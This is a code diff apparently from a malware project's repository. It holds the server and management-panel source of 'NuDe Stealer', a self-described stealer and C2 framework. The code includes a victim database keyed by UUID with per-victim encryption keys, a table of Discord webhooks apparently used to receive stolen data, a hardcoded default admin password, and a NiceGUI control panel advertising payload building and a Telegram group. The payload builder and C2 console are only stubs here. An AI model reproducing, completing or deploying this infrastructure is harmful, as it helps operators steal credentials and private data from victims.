combined = nonce + ciphertext
|
||||||
|
data_b64 = base64.b64encode(combined).decode()
|
||||||
|
|
||||||
|
return data_b64
|
||||||
|
|
||||||
|
def decrypt(key_hex: str, data_b64: str) -> str:
|
||||||
|
key = bytes.fromhex(key_hex)
|
||||||
|
combined = base64.b64decode(data_b64)
|
||||||
|
|
||||||
|
nonce = combined[:16]
|
||||||
|
ciphertext = combined[16:]
|
||||||
|
|
||||||
|
plaintext = ascon.decrypt(key, nonce, b'', ciphertext, variant="Ascon-AEAD128")
|
||||||
|
return plaintext.decode()
|
||||||
|
|
||||||
|
def hash_password(password: str) -> str:
|
||||||
|
salt = secrets.token_hex(16)
|
||||||
|
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||||
|
return f"{salt}${hashed.hex()}"
|
||||||
|
|
||||||
|
def check_password(password: str, stored: str) -> bool:
|
||||||
|
salt, hashed = stored.split('$')
|
||||||
|
new_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100_000)
|
||||||
|
return new_hash.hex() == hashed
|
||||||
|
|
||||||
|
def salt_randomizer() -> bytes:
|
||||||
|
return secrets.token_bytes(32)
|
||||||
|
|
||||||
|
def hkdf_sha256(salt: bytes, shared_secret_raw: str) -> str:
|
||||||
|
hkdf = HKDF(
|
||||||
|
algorithm=hashes.SHA256(),
|
||||||
|
length=32,
|
||||||
|
salt=salt,
|
||||||
|
info=b'',
|
||||||
|
)
|
||||||
|
key_material = hkdf.derive(shared_secret_raw)
|
||||||
|
|
||||||
|
return key_material
|
||||||
|
|
||||||
|
def compute_shared_secret(secret_key: bytes, public_key: bytes) -> bytes:
|
||||||
|
secret_key_bytes = x25519.X25519PrivateKey.from_private_bytes(secret_key)
|
||||||
|
public_key_bytes = x25519.X25519PublicKey.from_public_bytes(public_key)
|
||||||
|
|
||||||
|
shared_secret_raw = secret_key_bytes.exchange(public_key_bytes)
|
||||||
|
|
||||||
|
return shared_secret_raw
|
||||||
|
|
||||||
|
def generate_keypair() -> Tuple[x25519.X25519PrivateKey, x25519.X25519PublicKey]:
|
||||||
|
secret_key_bytes = x25519.X25519PrivateKey.generate()
|
||||||
|
public_key_bytes = secret_key_bytes.public_key()
|
||||||
|
return secret_key_bytes, public_key_bytes
|
||||||
133
serverside/database_s.py
Normal file
133
serverside/database_s.py
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
import sqlite3
|
||||||
|
import json
|
||||||
|
from datetime import datetime
|
||||||
|
from serverside.consts import DATABASE_FILE
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
from serverside.cryptography import hash_password
|
||||||
|
|
||||||
|
def init_db():
|
||||||
|
DATABASE_CONNECTION = sqlite3.connect(DATABASE_FILE)
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
|
||||||
|
cursor.execute('''
|
||||||
|
CREATE TABLE IF NOT EXISTS vic_data (
|
||||||
|
vic_uuid TEXT PRIMARY KEY,
|
||||||
|
vic_account_name TEXT NOT NULL,
|
||||||
|
vic_recent_ascon_key_hex TEXT,
|
||||||
|
vic_previous_ascon_key_list TEXT, -- stored as JSON string
|
||||||
|
last_updated TEXT,
|
||||||
|
created_at TEXT DEFAULT (datetime('now'))
|
||||||
|
)
|
||||||
|
''')
|
||||||
|
|
||||||
|
cursor.execute('''
|
||||||
|
CREATE TABLE IF NOT EXISTS administration (
|
||||||
|
administrator_username TEXT PRIMARY KEY,
|
||||||
|
administrator_password_hash TEXT NOT NULL,
|
||||||
|
created_at TEXT DEFAULT (datetime('now'))
|
||||||
|
)
|
||||||
|
''')
|
||||||
|
|
||||||
|
cursor.execute('''
|
||||||
|
CREATE TABLE IF NOT EXISTS discord_webhooks (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
webhook_url TEXT NOT NULL,
|
||||||
|
created_at TEXT DEFAULT (datetime('now'))
|
||||||
|
)
|
||||||
|
''')
|
||||||
|
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
insert_admin(DATABASE_CONNECTION, get("administration", "systemadmin_username", fallback="admin"), hash_password(get("administration", "systemadmin_password", fallback="nudestealer")))
|
||||||
|
|
||||||
|
DATABASE_CONNECTION.close()
|
||||||
|
|
||||||
|
def insert_vic(DATABASE_CONNECTION, vic_uuid, vic_account_name, recent_key, previous_keys=None):
|
||||||
|
if previous_keys is None:
|
||||||
|
previous_keys = []
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('''
|
||||||
|
INSERT INTO vic_data (vic_uuid, vic_account_name, vic_recent_ascon_key_hex, vic_previous_ascon_key_list, last_updated)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
''', (vic_uuid, vic_account_name, recent_key, json.dumps(previous_keys), datetime.now(datetime.timezone.utc).isoformat()))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def get_vic(DATABASE_CONNECTION, vic_uuid):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('SELECT * FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||||
|
row = cursor.fetchone()
|
||||||
|
if row:
|
||||||
|
vic_data = dict(zip([column[0] for column in cursor.description], row))
|
||||||
|
vic_data['vic_previous_ascon_key_list'] = json.loads(vic_data['vic_previous_ascon_key_list'])
|
||||||
|
return vic_data
|
||||||
|
return None
|
||||||
|
|
||||||
|
def insert_admin(DATABASE_CONNECTION, username, password_hash):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('''
|
||||||
|
INSERT INTO administration (administrator_username, administrator_password_hash)
|
||||||
|
VALUES (?, ?)
|
||||||
|
''', (username, password_hash))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def get_admin(DATABASE_CONNECTION, username):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('SELECT * FROM administration WHERE administrator_username = ?', (username,))
|
||||||
|
row = cursor.fetchone()
|
||||||
|
if row:
|
||||||
|
return dict(zip([column[0] for column in cursor.description], row))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def update_vic_key(DATABASE_CONNECTION, vic_uuid, new_key):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
vic = get_vic(DATABASE_CONNECTION, vic_uuid)
|
||||||
|
if vic:
|
||||||
|
previous_keys = vic['vic_previous_ascon_key_list']
|
||||||
|
recent_key = vic['vic_recent_ascon_key_hex']
|
||||||
|
if recent_key:
|
||||||
|
previous_keys.append(recent_key)
|
||||||
|
cursor.execute('''
|
||||||
|
UPDATE vic_data
|
||||||
|
SET vic_recent_ascon_key_hex = ?, vic_previous_ascon_key_list = ?, last_updated = ?
|
||||||
|
WHERE vic_uuid = ?
|
||||||
|
''', (new_key, json.dumps(previous_keys), datetime.utcnow().isoformat(), vic_uuid))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def update_admin_password(DATABASE_CONNECTION, username, new_password_hash):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('''
|
||||||
|
UPDATE administration
|
||||||
|
SET administrator_password_hash = ?
|
||||||
|
WHERE administrator_username = ?
|
||||||
|
''', (new_password_hash, username))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def delete_vic(DATABASE_CONNECTION, vic_uuid):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('DELETE FROM vic_data WHERE vic_uuid = ?', (vic_uuid,))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def delete_admin(DATABASE_CONNECTION, username):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('DELETE FROM administration WHERE administrator_username = ?', (username,))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def insert_webhook(DATABASE_CONNECTION, webhook_url):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('''
|
||||||
|
INSERT INTO discord_webhooks (webhook_url)
|
||||||
|
VALUES (?)
|
||||||
|
''', (webhook_url,))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def delete_webhook(DATABASE_CONNECTION, webhook_id):
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('DELETE FROM discord_webhooks WHERE id = ?', (webhook_id,))
|
||||||
|
DATABASE_CONNECTION.commit()
|
||||||
|
|
||||||
|
def get_all_webhooks(DATABASE_CONNECTION) -> list[dict]:
|
||||||
|
cursor = DATABASE_CONNECTION.cursor()
|
||||||
|
cursor.execute('SELECT * FROM discord_webhooks')
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
webhooks = [dict(zip([column[0] for column in cursor.description], row)) for row in rows]
|
||||||
|
return webhooks
|
||||||
42
serverside/helpers/config.py
Normal file
42
serverside/helpers/config.py
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
import configparser
|
||||||
|
from pathlib import Path
|
||||||
|
#from serverside.consts import BASE_DIR
|
||||||
|
|
||||||
|
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||||
|
CONFIG_PATH = BASE_DIR / "configuration.ini"
|
||||||
|
|
||||||
|
_config = configparser.ConfigParser()
|
||||||
|
_config.read(CONFIG_PATH)
|
||||||
|
|
||||||
|
def get(section: str, key: str, fallback=None):
|
||||||
|
try:
|
||||||
|
return _config.get(section, key)
|
||||||
|
except (configparser.NoSectionError, configparser.NoOptionError):
|
||||||
|
return fallback
|
||||||
|
|
||||||
|
def get_int(section: str, key: str, fallback=None):
|
||||||
|
try:
|
||||||
|
return _config.getint(section, key)
|
||||||
|
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||||
|
return fallback
|
||||||
|
|
||||||
|
def get_float(section: str, key: str, fallback=None):
|
||||||
|
try:
|
||||||
|
return _config.getfloat(section, key)
|
||||||
|
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||||
|
return fallback
|
||||||
|
|
||||||
|
def get_bool(section: str, key: str, fallback=None):
|
||||||
|
try:
|
||||||
|
return _config.getboolean(section, key)
|
||||||
|
except (configparser.NoSectionError, configparser.NoOptionError, ValueError):
|
||||||
|
return fallback
|
||||||
|
|
||||||
|
def sections():
|
||||||
|
return _config.sections()
|
||||||
|
|
||||||
|
def options(section: str):
|
||||||
|
try:
|
||||||
|
return _config.options(section)
|
||||||
|
except configparser.NoSectionError:
|
||||||
|
return []
|
||||||
25
serverside/helpers/logger.py
Normal file
25
serverside/helpers/logger.py
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
#from serverside.consts import LOG_FILE
|
||||||
|
|
||||||
|
BASE_DIR = Path(__file__).resolve().parent.parent.parent
|
||||||
|
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||||
|
|
||||||
|
def setup_logger(name: str = "nudestealer") -> logging.Logger:
|
||||||
|
logger = logging.getLogger(name)
|
||||||
|
logger.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
|
if not logger.handlers:
|
||||||
|
file_handler = logging.FileHandler(LOG_FILE, encoding="utf-8")
|
||||||
|
file_handler.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
|
formatter = logging.Formatter(
|
||||||
|
'%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s'
|
||||||
|
)
|
||||||
|
file_handler.setFormatter(formatter)
|
||||||
|
logger.addHandler(file_handler)
|
||||||
|
|
||||||
|
logger.propagate = False
|
||||||
|
|
||||||
|
return logger
|
||||||
33
serverside/helpers/middleware.py
Normal file
33
serverside/helpers/middleware.py
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
import time
|
||||||
|
from starlette.middleware.base import BaseHTTPMiddleware
|
||||||
|
from starlette.responses import JSONResponse
|
||||||
|
|
||||||
|
LIMIT = 60
|
||||||
|
WINDOW = 60
|
||||||
|
BLOCK_TIME = 5*60
|
||||||
|
|
||||||
|
ip_store = {}
|
||||||
|
|
||||||
|
class RateLimitMiddleware(BaseHTTPMiddleware):
|
||||||
|
async def dispatch(self, request, call_next):
|
||||||
|
ip = request.client.host
|
||||||
|
now = time.time()
|
||||||
|
entry = ip_store.get(ip, {"count": 0, "first_request": now, "blocked_until": None})
|
||||||
|
|
||||||
|
if entry["blocked_until"] and now < entry["blocked_until"]:
|
||||||
|
return JSONResponse({"error": "Too many requests. Try again later."}, status_code=429)
|
||||||
|
|
||||||
|
if now - entry["first_request"] > WINDOW:
|
||||||
|
entry["count"] = 0
|
||||||
|
entry["first_request"] = now
|
||||||
|
|
||||||
|
entry["count"] += 1
|
||||||
|
|
||||||
|
if entry["count"] > LIMIT:
|
||||||
|
entry["blocked_until"] = now + BLOCK_TIME
|
||||||
|
ip_store[ip] = entry
|
||||||
|
return JSONResponse({"error": "Rate limit exceeded. Blocked for 5 minutes."}, status_code=429)
|
||||||
|
|
||||||
|
ip_store[ip] = entry
|
||||||
|
response = await call_next(request)
|
||||||
|
return response
|
||||||
28
serverside/http_s.py
Normal file
28
serverside/http_s.py
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
from uvicorn import Config, Server
|
||||||
|
from starlette.applications import Starlette
|
||||||
|
from starlette.routing import Route
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
from serverside.helpers.middleware import RateLimitMiddleware
|
||||||
|
from serverside.routes.version import version
|
||||||
|
|
||||||
|
async def start_server():
|
||||||
|
app = Starlette(debug=get("general", "debug", fallback=False),
|
||||||
|
routes=[
|
||||||
|
Route("/version", version),
|
||||||
|
Route("/api/version", version),
|
||||||
|
Route("/api/v1/version", version),
|
||||||
|
Route("/get_version", version)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
app.add_middleware(RateLimitMiddleware)
|
||||||
|
|
||||||
|
|
||||||
|
config = Config(
|
||||||
|
app=app,
|
||||||
|
host=get("network", "host", fallback="127.0.0.1"),
|
||||||
|
port=int(get("network", "port", fallback=56000)),
|
||||||
|
log_level="debug" if get("general", "debug", fallback=False) else "info",
|
||||||
|
)
|
||||||
|
|
||||||
|
server = Server(config)
|
||||||
|
await server.serve()
|
||||||
5
serverside/routes/version.py
Normal file
5
serverside/routes/version.py
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
from starlette.responses import JSONResponse
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
|
||||||
|
async def version(request):
|
||||||
|
return JSONResponse({"api_version": get("general", "version", fallback="1.0.0")})
|
||||||
32
serverside/util_s.py
Normal file
32
serverside/util_s.py
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
import asyncio
|
||||||
|
from serverside.consts import logger, executor, running_tasks
|
||||||
|
|
||||||
|
async def run_in_thread(name, func, *args, **kwargs):
|
||||||
|
loop = asyncio.get_event_loop()
|
||||||
|
try:
|
||||||
|
await loop.run_in_executor(executor, func, *args, **kwargs)
|
||||||
|
except asyncio.CancelledError:
|
||||||
|
logger.info(f"{name} task cancelled.")
|
||||||
|
raise
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in {name}: {e}")
|
||||||
|
|
||||||
|
async def stop_task(name):
|
||||||
|
task = running_tasks.get(name)
|
||||||
|
if task:
|
||||||
|
task.cancel()
|
||||||
|
try:
|
||||||
|
await task
|
||||||
|
except asyncio.CancelledError:
|
||||||
|
logger.info(f"{name} task stopped.")
|
||||||
|
running_tasks.pop(name, None)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stopping {name} task: {e}")
|
||||||
|
|
||||||
|
async def stop_all():
|
||||||
|
logger.info("Stopping all services...")
|
||||||
|
for _, task in running_tasks.items():
|
||||||
|
task.cancel()
|
||||||
|
await asyncio.gather(*running_tasks.values(), return_exceptions=True)
|
||||||
|
running_tasks.clear()
|
||||||
|
logger.info("All services stopped.")
|
||||||
0
serverside/websocket_s.py
Normal file
0
serverside/websocket_s.py
Normal file
BIN
ui/assets/25519.gif
Normal file
BIN
ui/assets/25519.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 968 KiB |
BIN
ui/assets/25519.mp4
Normal file
BIN
ui/assets/25519.mp4
Normal file
Binary file not shown.
4
ui/ui_utils.py
Normal file
4
ui/ui_utils.py
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
from ui.dat import ServerData
|
||||||
|
|
||||||
|
def change_data(key, value):
|
||||||
|
print(f"Changing {key} to {value}")
|
||||||
131
ui/ui_ux.py
Normal file
131
ui/ui_ux.py
Normal file
@@ -0,0 +1,131 @@
|
|||||||
|
import threading
|
||||||
|
import nicegui as ux
|
||||||
|
from nicegui import ui
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
from serverside.consts import __title__, running_tasks
|
||||||
|
from ui.ui_utils import change_data
|
||||||
|
|
||||||
|
PRIMARY = "bg-[#1E1E1E] text-white"
|
||||||
|
TITLE_SIZE = "text-[3rem] font-bold"
|
||||||
|
SUBTITLE_SIZE = "text-xl italic"
|
||||||
|
FOOTER_SIZE = "text-md italic"
|
||||||
|
|
||||||
|
def start_page():
|
||||||
|
ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center")
|
||||||
|
|
||||||
|
with ui.row().classes("w-full items-center px-6 py-3 gap-8"):
|
||||||
|
if 'server' in running_tasks:
|
||||||
|
ui.button("Stop API").props("icon=build color=pink-5").classes("w-full")
|
||||||
|
else:
|
||||||
|
ui.button("Start API").props("icon=build color=pink-3").classes("w-full")
|
||||||
|
|
||||||
|
if 'ws_server' in running_tasks:
|
||||||
|
ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full")
|
||||||
|
else:
|
||||||
|
ui.button("Start WS").props("icon=build color=pink-3").classes("w-full")
|
||||||
|
ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full")
|
||||||
|
|
||||||
|
ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full")
|
||||||
|
|
||||||
|
with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"):
|
||||||
|
ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md")
|
||||||
|
|
||||||
|
ui.label("Changelog:").classes("text-2xl font-bold text-center")
|
||||||
|
ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center")
|
||||||
|
with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"):
|
||||||
|
ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md")
|
||||||
|
ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md")
|
||||||
|
ui.label("- Server-side encryption.").classes("text-md")
|
||||||
|
ui.label("- UI/UX improvements.").classes("text-md")
|
||||||
|
ui.label("- Features Build page for creating payload samples.").classes("text-md")
|
||||||
|
|
||||||
|
def builder_page():
|
||||||
|
ui.label("Builder coming soon...").classes("text-2xl font-bold text-center")
|
||||||
|
|
||||||
|
def c2_page():
|
||||||
|
ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center")
|
||||||
|
|
||||||
|
def acc_settings_page():
|
||||||
|
ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center")
|
||||||
|
|
||||||
|
def credits_page():
|
||||||
|
ui.label("Credits").classes("text-2xl font-bold text-center")
|
||||||
|
ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center")
|
||||||
|
|
||||||
|
@ui.page("/")
|
||||||
|
def landing_page():
|
||||||
|
#ui.colors(primary="#1E1E1E")
|
||||||
|
|
||||||
|
ui.add_head_html('''
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
|
||||||
|
''')
|
||||||
|
ui.add_css("""
|
||||||
|
body {
|
||||||
|
font-family: "Montserrat", sans-serif;
|
||||||
|
}
|
||||||
|
""")
|
||||||
|
|
||||||
|
ui.add_css("""
|
||||||
|
.fade-out {
|
||||||
|
transition: opacity 1.5s ease;
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
""")
|
||||||
|
|
||||||
|
with ui.row().classes(
|
||||||
|
"w-full items-center px-6 py-3 gap-8"
|
||||||
|
):
|
||||||
|
ui.label(
|
||||||
|
get("general", "app_name", fallback="NuDe Stealer C2")
|
||||||
|
).classes(f"{TITLE_SIZE} {PRIMARY}")
|
||||||
|
|
||||||
|
with ui.tabs() as tabs:
|
||||||
|
ui.tab("Start", icon="start")
|
||||||
|
ui.tab("Builder", icon="fingerprint")
|
||||||
|
ui.tab("C2 CONSOLE", icon="terminal")
|
||||||
|
ui.tab("Account Settings", icon="settings")
|
||||||
|
ui.tab("Credits", icon="coffee")
|
||||||
|
|
||||||
|
with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"):
|
||||||
|
with ui.element().classes(
|
||||||
|
"w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col"
|
||||||
|
):
|
||||||
|
with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"):
|
||||||
|
with ui.tab_panel("Start"):
|
||||||
|
start_page()
|
||||||
|
with ui.tab_panel("Builder"):
|
||||||
|
builder_page()
|
||||||
|
with ui.tab_panel("C2 CONSOLE"):
|
||||||
|
c2_page()
|
||||||
|
with ui.tab_panel("Account Settings"):
|
||||||
|
acc_settings_page()
|
||||||
|
with ui.tab_panel("Credits"):
|
||||||
|
credits_page()
|
||||||
|
|
||||||
|
|
||||||
|
footer = ui.footer().classes(f"{PRIMARY} justify-center")
|
||||||
|
with footer:
|
||||||
|
ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE)
|
||||||
|
def fade_footer():
|
||||||
|
footer.style("opacity: 0; transition: opacity 1.5s ease;")
|
||||||
|
|
||||||
|
ui.timer(5.0, fade_footer, once=True)
|
||||||
|
|
||||||
|
"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri()
|
||||||
|
v=ui.video(
|
||||||
|
video_uri,
|
||||||
|
autoplay=True,
|
||||||
|
loop=True,
|
||||||
|
muted=True,
|
||||||
|
controls=False,
|
||||||
|
).style(
|
||||||
|
"position: fixed; top: 0; left: 0; width: 100%; height: 100%; "
|
||||||
|
"object-fit: cover; z-index: -1;"
|
||||||
|
)
|
||||||
|
v.on("ended", lambda _: ui.open("/home"))"""
|
||||||
|
|
||||||
|
def start_ui():
|
||||||
|
threading.Thread(target=start_ui_thread, daemon=True).start()
|
||||||
|
|
||||||
|
def start_ui_thread():
|
||||||
|
ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700))
|
||||||
Reference in New Issue
Block a user